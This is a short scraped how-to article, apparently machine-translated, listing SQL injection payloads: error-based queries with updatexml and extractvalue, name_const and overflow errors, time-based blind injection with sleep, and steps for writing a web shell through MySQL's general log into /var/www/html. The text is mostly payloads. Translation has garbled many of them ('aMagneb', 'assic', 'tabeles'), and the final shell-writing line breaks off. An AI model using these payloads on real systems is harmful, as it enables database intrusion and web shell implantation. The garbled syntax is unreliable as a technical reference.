Get the App
SLTechnology News&Howtos  ›  Network Security  › 

What are the syntax of SQL injection

Shulou Source: shulou.com Published: 2022-05-31 17:23:32 10月02日 Update

This article mainly introduces what SQL injection grammar has, which has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let the editor take you to understand it.

It is for reference and study only.

SQL injection syntax

Error injection

Updatexml (1) concat (0x7e, (select database ()), 0x7e), 1)-+ extractvalue (1 concat (0x7e, (select database ()), 0x7e), 1)-+ select count (*) from information_schema.tabeles group by concat ((select database (), floor (rand (0) * 2) select substr (version (), 1)) = 'X'select substring (version (), 1) =' X'

Repeated error report in column name

Select * from (select name_const (version (), 1)) a * select * from (select name_const ((version ()), 1), name_const ((select database ()), 1)) a * from (select * from users a join users b) c

Data overflow report error

Select (select (! x) from (select (select user ()) x) a); select ~ 0mm! (select * from (select user ()) x)

Geometric function error report

Multipoint ((select * from (select * from (select user () a) b))

Case when statement

Select * from datadatabase () case id when 1 else 2 end

Time injection

If right ((select database ()), aMagneb) >'s' sleep (5) if assic (substr ((select database ()), aPowerb)) = 98 sleep (5) if assic (substr ((select database ()) from a to b)) = 98 sleep (5) if ord (mid ((select database ()), aMagneb)) = 98 sleep (5) write shell utilization conditions by logging

Known physical path, directory writable, root permission.

View configuration

Show variables like'% general'

Turn on general log mode

Set global general_log=on

Set log to write shell address *

Set global general_log_file= "/ var/www/html/log.php"

Write to shell

Select "

Tags: Statements vulnerabilities versions articles influences grammars variables logs paths functions conditions modules physics users directories learning configuration preparation for reference only value Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Microsoft OPPO Reno Xiaomi macOS Huawei